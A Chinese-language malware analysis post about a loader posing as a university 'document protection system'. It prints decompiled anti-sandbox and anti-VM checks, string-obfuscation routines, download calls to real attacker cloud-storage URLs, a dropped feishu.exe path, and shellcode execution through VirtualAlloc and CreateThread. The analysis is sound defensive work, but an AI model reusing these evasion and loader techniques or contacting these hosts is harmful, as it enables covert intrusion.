本文编写时攻击者已经撤了资源,并且互联网上没有找到 样本资料,因此部分流程无法分析。但是已经基本把反沙箱、反虚拟机以及混淆看了。
一
样本信息
SHA256:b3e8070d005d4f68f5a2bd3e4bed287b2b1dd9e8ee3d3ceb409c58f0f2d39d28
二
行为观察
直接看静态分析吧。
三
loader逻辑
来到winmain,开始分析。
sub_140006C50 检索桌面文件数量
if ( SHGetKnownFolderPath(&rfid, 0, 0i64, &ppszPath) < 0 )
{
LODWORD(v9) = 1;
}
else
{
v8 = sub_140006C50(ppszPath);
CoTaskMemFree(ppszPath);
v9 = v8 < 6;
}
.rdata:0000000140038780 ; const KNOWNFOLDERID rfid
.rdata:0000000140038780 3A CC BF B4 2C DB 4C 42 B0 29+rfid dd 0B4BFCC3Ah ; Data1
.rdata:0000000140038780 7F E9 9A 87 C6 41 ; DATA XREF: WinMain+150↑o
.rdata:0000000140038780 dw 0DB2Ch ; Data2
.rdata:0000000140038780 dw 424Ch ; Data3
.rdata:0000000140038780 db 0B0h, 29h, 7Fh, 0E9h, 9Ah, 87h, 0C6h, 41h; Data4
跟进sub_140006C50,传入了桌面路径。
其中,经过对路径的处理(增加通配符
"\*"
到路径末尾),调用FindFirstFileW,获取桌面下第一个find的文件的句柄,存放到_WIN32_FIND_DATAW类型的FindFileData中。v4 = (const WCHAR *)lpFileName;
if ( si128.m128i_i64[1] >= 8ui64 )
v4 = lpFileName[0];
FirstFileW = FindFirstFileW(v4, &FindFileData);
typedef struct _WIN32_FIND_DATAW {
DWORD dwFileAttributes; // 文件属性,如只读、隐藏、系统文件等
FILETIME ftCreationTime; // 文件创建时间
FILETIME ftLastAccessTime; // 文件最后访问时间
FILETIME ftLastWriteTime; // 文件最后写入时间
DWORD nFileSizeHigh; // 文件大小的高32位,用于大文件
DWORD nFileSizeLow; // 文件大小的低32位
DWORD dwReserved0; // 保留字段,不使用
DWORD dwReserved1; // 保留字段,不使用
WCHAR cFileName[MAX_PATH]; // 文件名
WCHAR cAlternateFileName[14]; // 文件的8.3缩写格式名称,不常用
DWORD dwFileType; // 文件类型,已废弃,不应使用
DWORD dwCreatorType; // 创建者类型,已废弃,不应使用
WORD wFinderFlags; // 查找标志,已废弃,不应使用
} WIN32_FIND_DATAW, *PWIN32_FIND_DATAW, *LPWIN32_FIND_DATAW;
do
{
if ( FindFileData.dwFileAttributes != 16 )
++v1;
}
while ( FindNextFileW(FirstFileW, &FindFileData) );
FindClose(FirstFileW);
return v1;
}
v8 = sub_140006C50(ppszPath);
CoTaskMemFree(ppszPath);
v9 = v8 < 6;
sub_140003B10 获取当前进程目录下文件名
GetCurrentDirectoryA(0x104u, Buffer);
do
++v2;
while ( Buffer[v2] );
if ( v2 > 0x7FFFFFFFFFFFFFFFi64 )
sub_1400014C0();
v37 = 15i64;
if ( v2 < 0x10 )
{
v36 = v2;
memcpy(lpFileName, Buffer, v2);
*((_BYTE *)lpFileName + v2) = 0;
goto LABEL_19;
}
FirstFileA = FindFirstFileA(v8, &FindFileData);
do
{
v31 = 20;
v30[0] = 46; // '.'当前目录
if ( !strcmp(FindFileData.cFileName, (const char *)v30) )
continue;
v32[1] = 107;
v32[2] = 107;
strcpy((char *)v32, "..");// 父目录
if ( !strcmp(FindFileData.cFileName, (const char *)v32) || (FindFileData.dwFileAttributes & 0x10) != 0 )
continue;
v28 = 0i64;
v29 = 0ui64;
v13 = -1i64;
do
++v13;
while ( FindFileData.cFileName[v13] );
if ( v13 > 0x7FFFFFFFFFFFFFFFi64 )
sub_1400014C0();
*((_QWORD *)&v29 + 1) = 15i64;
if ( v13 < 0x10 )
{
*(_QWORD *)&v29 = v13;
memcpy(&v28, FindFileData.cFileName, v13);
*((_BYTE *)&v28 + v13) = 0;
goto LABEL_51;
}
v14 = v13 | 0xF;
if ( (v13 | 0xF) > 0x7FFFFFFFFFFFFFFFi64 )
{
v14 = 0x7FFFFFFFFFFFFFFFi64;
v15 = 0x8000000000000027ui64;
LABEL_45:
v17 = operator new(v15);
if ( !v17 )
goto LABEL_60;
v18 = (_QWORD *)(((unsigned __int64)v17 + 39) & 0xFFFFFFFFFFFFFFE0ui64);
*(v18 - 1) = v17;
goto LABEL_50;
}
if ( v14 < 0x16 )
v14 = 22i64;
v16 = v14 + 1;
if ( v14 + 1 >= 0x1000 )
{
v15 = v14 + 40;
if ( v14 + 40 <= v14 + 1 )
sub_140001420(v16);
goto LABEL_45;
}
if ( v14 == -1i64 )
v18 = 0i64;
else
v18 = operator new(v16);
LABEL_50:
*(_QWORD *)&v28 = v18;
*(_QWORD *)&v29 = v13;
*((_QWORD *)&v29 + 1) = v14;
memcpy(v18, FindFileData.cFileName, v13);
*((_BYTE *)v18 + v13) = 0;
LABEL_51:
v19 = *((_QWORD *)&v33 + 1);
if ( *((_QWORD *)&v33 + 1) == v34 )
{
sub_140013FE0(&v33, *((_QWORD *)&v33 + 1), &v28);
v20 = *((_QWORD *)&v29 + 1);
}
else
{
**((_OWORD **)&v33 + 1) = v28;
*(_OWORD *)(v19 + 16) = v29;
v20 = 15i64;
LOBYTE(v28) = 0;
*((_QWORD *)&v33 + 1) += 32i64;
}
if ( v20 >= 0x10 )
{
v21 = (void *)v28;
if ( v20 + 1 >= 0x1000 )
{
v21 = *(void **)(v28 - 8);
if ( (unsigned __int64)(v28 - (_QWORD)v21 - 8) > 0x1F )
LABEL_60:
invalid_parameter_noinfo_noreturn();
}
j_j_free_0(v21);
}
}
while ( FindNextFileA(FirstFileA, &FindFileData) );
v22 = v34;
v34 = 0i64;
v23 = *((_QWORD *)&v33 + 1);
v24 = 0i64;
v25 = v33;
v26 = 0i64;
v33 = 0ui64;
*a1 = v25;
a1[1] = v23;
a1[2] = v22;
.....
return a1;
RECENT目录文件数与GetTickCount限制
ppszPath = 0i64;
if ( SHGetKnownFolderPath(&stru_140038790, 0, 0i64, &ppszPath) < 0 )
goto LABEL_149;
sub_140011810(lpFileName, ppszPath);
append(lpFileName, L"\*.*");
.rdata:0000000140038790 81 C0 50 AE D2 EB 8A 43 86 55+stru_140038790 dd 0AE50C081h ; Data1
.rdata:0000000140038790 8A 09 2E 34 98 7A ; DATA XREF: WinMain+2AF↑o
.rdata:0000000140038790 dw 0EBD2h ; Data2
.rdata:0000000140038790 dw 438Ah ; Data3
.rdata:0000000140038790 db 86h, 55h, 8Ah, 9, 2Eh, 34h, 98h, 7Ah ; Data4
v22 = (const WCHAR *)lpFileName;
if ( v85 >= 8 )
v22 = lpFileName[0];
FirstFileW = FindFirstFileW(v22, &FindFileData);
if ( FirstFileW != (HANDLE)-1i64 )
{
do
{
v24 = v21 + 1;
if ( (FindFileData.dwFileAttributes & 0x10) != 0 )
v24 = v21;
v21 = v24;
}
while ( FindNextFileW(FirstFileW, &FindFileData) );
FindClose(FirstFileW);
}
CoTaskMemFree(ppszPath);
GetTickCount()
计时器值小于0x75300(480000ms,是否少于八小时),就会退出程序。这个GetTickCount的最大值是49.7天(0xFFFFFFFF)。if ( v21 <= 5 || GetTickCount() < 0x75300 || (unsigned __int8)sub_1400040C0() || (unsigned int)sub_140004570() )
goto LABEL_149;
sub_1400040C0 时间间隔保护
v0 = Xtime_get_ticks() / 10000;
perf_frequency = Query_perf_frequency();
perf_counter = Query_perf_counter();
if ( perf_frequency == 10000000 )
v3 = 100 * perf_counter;
else
v3 = 1000000000 * (perf_counter / perf_frequency) + 1000000000 * (perf_counter % perf_frequency) / perf_frequency;
v4 = v3 + 300000000;
if ( v3 >= 0x7FFFFFFFEE1E5CFFi64 )
v4 = 0x7FFFFFFFFFFFFFFFi64;
while ( 1 )
{
v5 = Query_perf_frequency();
v6 = Query_perf_counter();
v7 = v5 == 10000000 ? 100 * v6 : 1000000000 * (v6 / v5) + 1000000000 * (v6 % v5) / v5;
ticks = Xtime_get_ticks();
if ( v7 >= v4 )
break;
v9 = 100 * ticks;
v10 = v4 - v7;
v11 = v9 - 1391067136;
v12 = (double)((int)v4 - (int)v7);
if ( v12 <= 8.64e14 )
v11 = v10 + v9;
v13 = v9 + v10;
v14 = v9 + 864000000000000i64;
if ( v12 <= 8.64e14 )
v14 = v13;
v15 = (__int64)((unsigned __int128)(v14 * (__int128)0x112E0BE826D694B3i64) >> 64) >> 26;
v17.sec = (v15 >> 63) + v15;
v17.nsec = v11 - 1000000000 * LODWORD(v17.sec);
Thrd_sleep(&v17);
}
return (int)(((ticks / 10000 + -300 - v0) ^ ((unsigned __int64)(ticks / 10000 + -300 - (int)v0) >> 32))
- ((unsigned __int64)(ticks / 10000 + -300 - (int)v0) >> 32)) > 100;
sub_1400040C0 沙箱服务扫描
v0 = OpenSCManagerW(0i64, 0i64, 4u);
if ( !v0 )
return 0xFFFFFFFFi64;
v1 = 0i64;
pcbBytesNeeded = 0;
ServicesReturned = 0;
ResumeHandle = 0;
v2 = (struct _ENUM_SERVICE_STATUSA *)LocalAlloc(0x40u, 0x10000ui64);
if ( !EnumServicesStatusA(v0, 0x30u, 3u, v2, 0x10000u, &pcbBytesNeeded, &ServicesReturned, &ResumeHandle) )
return 0xFFFFFFFFi64;
typedef struct _ENUM_SERVICE_STATUSA {
LPSTR lpServiceName;
LPSTR lpDisplayName;
SERVICE_STATUS ServiceStatus;
} ENUM_SERVICE_STATUSA, *LPENUM_SERVICE_STATUSA;
enumServicesStatusA
函数枚举指定的服务控制管理器数据库中的服务。提供了每个服务的名称和状态。BOOL EnumServicesStatusA(
[in] SC_HANDLE hSCManager, // 输入: 服务控制管理器的句柄
[in] DWORD dwServiceType, // 输入: 要枚举的服务类型
[in] DWORD dwServiceState, // 输入: 要枚举的服务状态
[out, optional] LPENUM_SERVICE_STATUSA lpServices, // 输出: 枚举服务的状态数组
[in] DWORD cbBufSize, // 输入: lpServices 缓冲区的大小(字节)
[out] LPDWORD pcbBytesNeeded, // 输出: 需要的字节数,如果缓冲区太小则返回所需大小
[out] LPDWORD lpServicesReturned, // 输出: 返回的服务状态结构的数量
[in, out, optional] LPDWORD lpResumeHandle // 输入/输出: 用于继续枚举的恢复句柄
);
VMware Tools。
Virtual Machine
、VirtualBox Guest。
00007FF67361465E | E8 1DBA0000 | call 同济大学文档保护系统.7FF673620080 |
00007FF673614663 | 48:8D3C5B | lea rdi,qword ptr ds:[rbx+rbx*2] | rdi:&"vmvss"
00007FF673614667 | 48:8BD0 | mov rdx,rax | rdx:"VMware Tools"
00007FF67361466A | 48:C1E7 04 | shl rdi,4 | rdi:&"vmvss"
00007FF67361466E | 49:03FE | add rdi,r14 | rdi:&"vmvss", r14:&"AJRouter"
00007FF673614671 | 48:8B4F 08 | mov rcx,qword ptr ds:[rdi+8] | [rdi+08]:"VMware Snapshot Provider"
00007FF673614675 | FF15 9D3D0300 | call qword ptr ds:[<strstr>] |
00007FF67361467B | 48:85C0 | test rax,rax |
00007FF67361467E | 90 | nop |
00007FF67361467F | 90 | nop |
00007FF673614680 | 90 | nop |
00007FF673614681 | 90 | nop |
00007FF673614682 | 90 | nop |
00007FF673614683 | 90 | nop |
00007FF673614684 | 66:0F6F0D F4BE0300 | movdqa xmm1,xmmword ptr ds:[7FF67365058 |
00007FF67361468C | 48:8D4D 90 | lea rcx,qword ptr ss:[rbp-70] |
00007FF673614690 | 0F57C0 | xorps xmm0,xmm0 |
00007FF673614693 | 66:0F7F4D C0 | movdqa xmmword ptr ss:[rbp-40],xmm1 |
内存大小检查
GlobalMemoryStatusEx(&Buffer);
if ( (Buffer.ullTotalPhys & 0x8000000000000000ui64) != 0i64 )
ullTotalPhys_low = (double)(int)(Buffer.ullTotalPhys & 1 | (Buffer.ullTotalPhys >> 1))
+ (double)(int)(Buffer.ullTotalPhys & 1 | (Buffer.ullTotalPhys >> 1));
else
ullTotalPhys_low = (double)SLODWORD(Buffer.ullTotalPhys);
v4 = v81;
if ( ullTotalPhys_low * 9.313225746154785e-10 >= 4.0 && !(unsigned int)sub_140004E60(v81, v6) )
外联
v29 = "01110111011100101001101100110001001110010100101010101101010110011100010100001111101110000101000111110001111111"
"10101000010110101010100100110011100010001001001100001111011000001111111000010010101111011000010010010100111110"
"10110000000110010100101101111111111100001101101100110101110100000101000000111010000101010100001101011010001101"
"00110100010110010110110011111111101001000000000111011101000010010010110010110110100110101011111011110010110100"
"11110110110111100101100111101110110001111110001101011110101110100010101001101010110000100101111010001000111010"
"01111001100111000101011100110100110101011001111110111001000111100100100000110000010011001100010110011011110111"
"100011111011111001110011110001010100001111011111010100000";
v30 = 5i64;
v31 = 5i64;
do
{
*(_OWORD *)v28 = *(_OWORD *)v29;
*((_OWORD *)v28 + 1) = *((_OWORD *)v29 + 1);
*((_OWORD *)v28 + 2) = *((_OWORD *)v29 + 2);
*((_OWORD *)v28 + 3) = *((_OWORD *)v29 + 3);
*((_OWORD *)v28 + 4) = *((_OWORD *)v29 + 4);
*((_OWORD *)v28 + 5) = *((_OWORD *)v29 + 5);
*((_OWORD *)v28 + 6) = *((_OWORD *)v29 + 6);
v28 += 128;
*((_OWORD *)v28 - 1) = *((_OWORD *)v29 + 7);
v29 += 128;
--v31;
}
while ( v31 );
*(_OWORD *)v28 = *(_OWORD *)v29;
*((_OWORD *)v28 + 1) = *((_OWORD *)v29 + 1);
*((_OWORD *)v28 + 2) = *((_OWORD *)v29 + 2);
*((_OWORD *)v28 + 3) = *((_OWORD *)v29 + 3);
*((_QWORD *)v28 + 8) = *((_QWORD *)v29 + 8);
*((_DWORD *)v28 + 18) = *((_DWORD *)v29 + 18);
v28[76] = v29[76];
v27[717] = 0;
v95[1] = 0i64;
v32 = operator new(0xE20ui64);
v95[0] = (__int64)v32;
v96 = 3611i64;
v97 = 3615i64;
memcpy(v32, aFrequency128Le, 0xE1Bui64);
v32[3611] = 0;
sub_140003840(v106, &Buffer, v95);
sub_140004830(v93, v106, v4, v6);
v33 = v93;
if ( v94.m128i_i64[1] >= 0x10ui64 )
v33 = (__int64 *)v93[0];
v34 = (char *)v33 + v94.m128i_i64[0];
v35 = v93;
if ( v94.m128i_i64[1] >= 0x10ui64 )
v35 = (__int64 *)v93[0];
sub_140012AE0(Block, v35, v34);
获得http的信息装填到临时变量中,后面解析。
v36 = InternetOpenW(L"Baidu", 1u, 0i64, 0i64, 0);
v37 = v36;
v38 = Block;
if ( v83.m128i_i64[1] >= 8ui64 )
v38 = (void **)Block[0];
v39 = InternetOpenUrlW(v36, (LPCWSTR)v38, 0i64, 0, 0x80000000, 0i64);
v40 = v39;
if ( !v39 )
{
v41 = v83.m128i_u64[1];
goto LABEL_60;
}
LODWORD(ppszPath) = 4;
HttpQueryInfoW(v39, 0x20000013u, &v81, (LPDWORD)&ppszPath, 0i64);
InternetCloseHandle(v40);
InternetCloseHandle(v37);
00007FF6736173B8 | FF15 C2100300 | call qword ptr ds:[<InternetOpenUrlW>] |
00007FF6736173BE | 48:8BF8 | mov rdi,rax | rdi:"{"frequency": 128, "left": {"frequency": 59, "left": {"frequency": 27, "left": {"frequency": 12, "left": {"frequency": 6, "left": {"char": "f", "frequency": 3}, "right": {"char": "w", "frequency": 3}}, "right": {"frequency": 6, "left": {"char": "p", "frequency": 3}, "right": {"char": "/", "frequency": 3}}}, "right": {"frequency": 15, "left": {"frequency": 7, "left": {"char": "u", "frequency": 3}, "right": {
00007FF6736173C1 | 48:85C0 | test rax,rax |
00007FF6736173C4 | 75 44 | jne 同济大学文档保护系统.7FF67361740A |
00007FF6736173C6 | 48:8B55 B8 | mov rdx,qword ptr ss:[rbp-48] |
00007FF6736173CA | 48:83FA 08 | cmp rdx,8 | rdx:L"https://fish-123.oss-cn-shanghai.aliyuncs.com/2d471a8f-8944-4b2d-9c84-a9fa32635d7b.txt"
还会有一个url存储在内存中,会再次下载。
https://fish-123.oss-cn-shanghai.aliyuncs.com/27f6fe91-b4d3-4dd9-89cd-03b8ed32fe0d.jpg
这个口令硬编码:
从aliyun下载加密文件(https://fish-123.oss-cn-shanghai.aliyuncs.com/27f6fe91-b4d3-4dd9-89cd-03b8ed32fe0d.jpg)
https://fish-123.oss-cn-shanghai.aliyuncs.com/27f6fe91-b4d3-4dd9-89cd-03b8ed32fe0d.jpg
首先生成恶意程序路径。
memset(&FindFileData, 0, 37);
FindFileData.dwReserved1 = 0;
*(_DWORD *)FindFileData.cFileName = 53;
*(__m128i *)&FindFileData.cFileName[2] = _mm_load_si128((const __m128i *)&xmmword_140040380);
*(__m128i *)&FindFileData.cFileName[10] = _mm_load_si128((const __m128i *)&xmmword_140040520);
*(__m128i *)&FindFileData.cFileName[18] = _mm_load_si128((const __m128i *)&xmmword_14003FF20);
*(__m128i *)&FindFileData.cFileName[26] = _mm_load_si128((const __m128i *)&xmmword_14003FFC0);
*(__m128i *)&FindFileData.cFileName[34] = _mm_load_si128((const __m128i *)&xmmword_14003FFB0);
*(__m128i *)&FindFileData.cFileName[42] = _mm_load_si128((const __m128i *)&xmmword_14003FF80);
*(__m128i *)&FindFileData.cFileName[50] = _mm_load_si128((const __m128i *)&xmmword_1400401C0);
*(__m128i *)&FindFileData.cFileName[58] = _mm_load_si128((const __m128i *)&xmmword_140040370);
*(_DWORD *)&FindFileData.cFileName[66] = 83;
*(_DWORD *)&FindFileData.cFileName[68] = 82;
v48 = sub_140008070(&FindFileData);
__int64 __fastcall sub_140008070(__int64 a1)
{
__int64 result; // rax
*(_BYTE *)a1 = (char)(19 * (*(_DWORD *)(a1 + 40) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 1) = (char)(19 * (*(_DWORD *)(a1 + 44) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 2) = (char)(19 * (*(_DWORD *)(a1 + 48) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 3) = (char)(19 * (*(_DWORD *)(a1 + 52) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 4) = (char)(19 * (*(_DWORD *)(a1 + 56) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 5) = (char)(19 * (*(_DWORD *)(a1 + 60) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 6) = (char)(19 * (*(_DWORD *)(a1 + 64) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 7) = (char)(19 * (*(_DWORD *)(a1 + 68) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 8) = (char)(19 * (*(_DWORD *)(a1 + 72) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 9) = (char)(19 * (*(_DWORD *)(a1 + 76) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 10) = (char)(19 * (*(_DWORD *)(a1 + 80) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 11) = (char)(19 * (*(_DWORD *)(a1 + 84) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 12) = (char)(19 * (*(_DWORD *)(a1 + 88) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 13) = (char)(19 * (*(_DWORD *)(a1 + 92) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 14) = (char)(19 * (*(_DWORD *)(a1 + 96) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 15) = (char)(19 * (*(_DWORD *)(a1 + 100) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 16) = (char)(19 * (*(_DWORD *)(a1 + 104) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 17) = (char)(19 * (*(_DWORD *)(a1 + 108) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 18) = (char)(19 * (*(_DWORD *)(a1 + 112) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 19) = (char)(19 * (*(_DWORD *)(a1 + 116) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 20) = (char)(19 * (*(_DWORD *)(a1 + 120) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 21) = (char)(19 * (*(_DWORD *)(a1 + 124) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 22) = (char)(19 * (*(_DWORD *)(a1 + 128) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 23) = (char)(19 * (*(_DWORD *)(a1 + 132) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 24) = (char)(19 * (*(_DWORD *)(a1 + 136) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 25) = (char)(19 * (*(_DWORD *)(a1 + 140) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 26) = (char)(19 * (*(_DWORD *)(a1 + 144) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 27) = (char)(19 * (*(_DWORD *)(a1 + 148) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 28) = (char)(19 * (*(_DWORD *)(a1 + 152) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 29) = (char)(19 * (*(_DWORD *)(a1 + 156) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 30) = (char)(19 * (*(_DWORD *)(a1 + 160) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 31) = (char)(19 * (*(_DWORD *)(a1 + 164) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 32) = (char)(19 * (*(_DWORD *)(a1 + 168) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 33) = (char)(19 * (*(_DWORD *)(a1 + 172) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 34) = (char)(19 * (*(_DWORD *)(a1 + 176) - 70) % 127 + 127) % 127;
result = a1;
*(_WORD *)(a1 + 35) = (unsigned __int8)((19 * (*(_DWORD *)(a1 + 180) - 70) % 127 + 127) % 127);
return result;
}
C:\Users\Public\Downloads\feishu.exe
00007FF7851D76B5 | E8 B6090000 | call 同济大学文档保护系统.7FF7851D8070 | 形成feishu.exe
00007FF7851D76BA | 48:8BD0 | mov rdx,rax | rdx:"C:\Users\Public\Downloads\feishu.exe", rax:"C:\Users\Public\Downloads\feishu.exe"
00007FF7851D76BD | 48:8D4D E0 | lea rcx,qword ptr ss:[rbp-20] |
00007FF7851D76C1 | E8 2AA40000 | call 同济大学文档保护系统.7FF7851E1AF0 |
sub_140007D00
生成的baidudocument。__int64 __fastcall sub_140007D00(__int64 a1)
{
__int64 result; // rax
*(_BYTE *)a1 = (char)(15 * (*(_DWORD *)(a1 + 16) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 1) = (char)(15 * (*(_DWORD *)(a1 + 20) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 2) = (char)(15 * (*(_DWORD *)(a1 + 24) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 3) = (char)(15 * (*(_DWORD *)(a1 + 28) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 4) = (char)(15 * (*(_DWORD *)(a1 + 32) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 5) = (char)(15 * (*(_DWORD *)(a1 + 36) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 6) = (char)(15 * (*(_DWORD *)(a1 + 40) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 7) = (char)(15 * (*(_DWORD *)(a1 + 44) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 8) = (char)(15 * (*(_DWORD *)(a1 + 48) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 9) = (char)(15 * (*(_DWORD *)(a1 + 52) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 10) = (char)(15 * (*(_DWORD *)(a1 + 56) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 11) = (char)(15 * (*(_DWORD *)(a1 + 60) - 93) % 127 + 127) % 127;
result = a1;
*(_WORD *)(a1 + 12) = (unsigned __int8)((15 * (*(_DWORD *)(a1 + 64) - 93) % 127 + 127) % 127);
return result;
}
sub_140012AE0(lpszUrl, a2, v3);
v4 = InternetOpenW(L"Baidu", 1u, 0i64, 0i64, 0);
v5 = v4;
v6 = (const WCHAR *)lpszUrl;
if ( v18 >= 8 )
v6 = lpszUrl[0];
v7 = InternetOpenUrlW(v4, v6, 0i64, 0, 0x80000000, 0i64);
*(_OWORD *)Src = 0i64;
Src[2] = 0i64;
Src[3] = 15i64;
*(_BYTE *)Src = 0;
dwNumberOfBytesRead = 0;
while ( InternetReadFile(v7, Buffer, 0x400u, &dwNumberOfBytesRead) )
{
if ( !dwNumberOfBytesRead )
break;
v9 = dwNumberOfBytesRead;
v10 = Src[2];
v11 = Src[3];
if ( dwNumberOfBytesRead > v11 - v10 )
{
sub_140012CF0(Src, dwNumberOfBytesRead, v8, Buffer, dwNumberOfBytesRead);
}
else
{
Src[2] = v10 + dwNumberOfBytesRead;
v12 = Src;
if ( v11 >= 0x10 )
v12 = (_QWORD *)*Src;
v13 = (char *)v12 + v10;
memmove((char *)v12 + v10, Buffer, v9);
v13[v9] = 0;
}
}
InternetCloseHandle(v7);
InternetCloseHandle(v5);
00000277401DACA0 EE FE EE FE EE FE EE FE 40 DA FB A7 9E 0C 00 3F îþîþîþîþ@Úû§...?
00000277401DACB0 3C 3F 78 6D 6C 20 76 65 72 73 69 6F 6E 3D 22 31 <?xml version="1
00000277401DACC0 2E 30 22 20 65 6E 63 6F 64 69 6E 67 3D 22 55 54 .0" encoding="UT
00000277401DACD0 46 2D 38 22 3F 3E 0A 3C 45 72 72 6F 72 3E 0A 20 F-8"?>.<Error>.
00000277401DACE0 20 3C 43 6F 64 65 3E 4E 6F 53 75 63 68 42 75 63 <Code>NoSuchBuc
00000277401DACF0 6B 65 74 3C 2F 43 6F 64 65 3E 0A 20 20 3C 4D 65 ket</Code>. <Me
00000277401DAD00 73 73 61 67 65 3E 54 68 65 20 73 70 65 63 69 66 ssage>The specif
00000277401DAD10 69 65 64 20 62 75 63 6B 65 74 20 64 6F 65 73 20 ied bucket does
00000277401DAD20 6E 6F 74 20 65 78 69 73 74 2E 3C 2F 4D 65 73 73 not exist.</Mess
00000277401DAD30 61 67 65 3E 0A 20 20 3C 52 65 71 75 65 73 74 49 age>. <RequestI
00000277401DAD40 64 3E 36 36 36 43 35 39 33 36 45 35 43 32 33 41 d>666C5936E5C23A
00000277401DAD50 33 38 33 31 35 37 30 38 38 35 3C 2F 52 65 71 75 3831570885</Requ
00000277401DAD60 65 73 74 49 64 3E 0A 20 20 3C 48 6F 73 74 49 64 estId>. <HostId
00000277401DAD70 3E 66 69 73 68 2D 31 32 33 2E 6F 73 73 2D 63 6E >fish-123.oss-cn
00000277401DAD80 2D 73 68 61 6E 67 68 61 69 2E 61 6C 69 79 75 6E -shanghai.aliyun
00000277401DAD90 63 73 2E 63 6F 6D 3C 2F 48 6F 73 74 49 64 3E 0A cs.com</HostId>.
00000277401DADA0 20 20 3C 42 75 63 6B 65 74 4E 61 6D 65 3E 66 69 <BucketName>fi
00000277401DADB0 73 68 2D 31 32 33 3C 2F 42 75 63 6B 65 74 4E 61 sh-123</BucketNa
00000277401DADC0 6D 65 3E 0A 20 20 3C 45 43 3E 30 30 31 35 2D 30 me>. <EC>0015-0
00000277401DADD0 30 30 30 30 31 30 31 3C 2F 45 43 3E 0A 20 20 3C 0000101</EC>. <
00000277401DADE0 52 65 63 6F 6D 6D 65 6E 64 44 6F 63 3E 68 74 74 RecommendDoc>htt
00000277401DADF0 70 73 3A 2F 2F 61 70 69 2E 61 6C 69 79 75 6E 2E ps://api.aliyun.
00000277401DAE00 63 6F 6D 2F 74 72 6F 75 62 6C 65 73 68 6F 6F 74 com/troubleshoot
00000277401DAE10 3F 71 3D 30 30 31 35 2D 30 30 30 30 30 31 30 31 ?q=0015-00000101
00000277401DAE20 3C 2F 52 65 63 6F 6D 6D 65 6E 64 44 6F 63 3E 0A </RecommendDoc>.
00000277401DAE30 3C 2F 45 72 72 6F 72 3E 0A 00 AD BA 0D F0 AD BA </Error>...º.ð.º
恶意跳板loader装载
SHELLEXECUTEW
调用程序,携带参数baidudocument。if ( (__int64)ShellExecuteW(0i64, L"open", v57, (LPCWSTR)v56, 0i64, 1) <= 32 )
四
恶意跳板loader
观察到其中的关键代码,shellcode创建线程。
v76 = VirtualAlloc(0i64, dwSize, 0x1000u, 4u);
v77 = v76;
if ( v76 )
{
memcpy(v76, v75, v113);
if ( VirtualProtect(v77, dwSize, 0x20u, &flOldProtect) )
{
if ( v75 != i )
i = v75;
Src[1] = i;
Thread = CreateThread(0i64, 0i64, StartAddress, v77, 0, 0i64);
v74 = Thread;
if ( Thread )
{
WaitForSingleObject(Thread, 0xFFFFFFFF);
CloseHandle(v74);
v16 = "0111000101101100100110100101000101010111000100000000001111111001101101101011111010111001110010010011110000110100"
"0010000011010010111101111001101101111101010100110101111011111011111000101001000110110000010000101110111000010110"
"1101101010000101101110100011000000011100110000110001011010111101111011111110011000011010011001001100101100100000"
"1001101000110001100010111110110001010001111001010111010011011101100001001100000010101111001110000010011100101011"
"0100111001001111110010111110001010111000000110010101110110110111111110111101011110111111010110100010101010100101"
"1100110001111101001000110010001111111000001101010101100101010111001000001100011111001011110101111100000011100110"
"010011100110001001111110001101111011001100111110111101";
v17 = 5i64;
do
{
*(_OWORD *)v15 = *(_OWORD *)v16;
*((_OWORD *)v15 + 1) = *((_OWORD *)v16 + 1);
*((_OWORD *)v15 + 2) = *((_OWORD *)v16 + 2);
*((_OWORD *)v15 + 3) = *((_OWORD *)v16 + 3);
*((_OWORD *)v15 + 4) = *((_OWORD *)v16 + 4);
*((_OWORD *)v15 + 5) = *((_OWORD *)v16 + 5);
*((_OWORD *)v15 + 6) = *((_OWORD *)v16 + 6);
v15 += 128;
*((_OWORD *)v15 - 1) = *((_OWORD *)v16 + 7);
v16 += 128;
--v17;
}
while ( v17 );
*(_OWORD *)v15 = *(_OWORD *)v16;
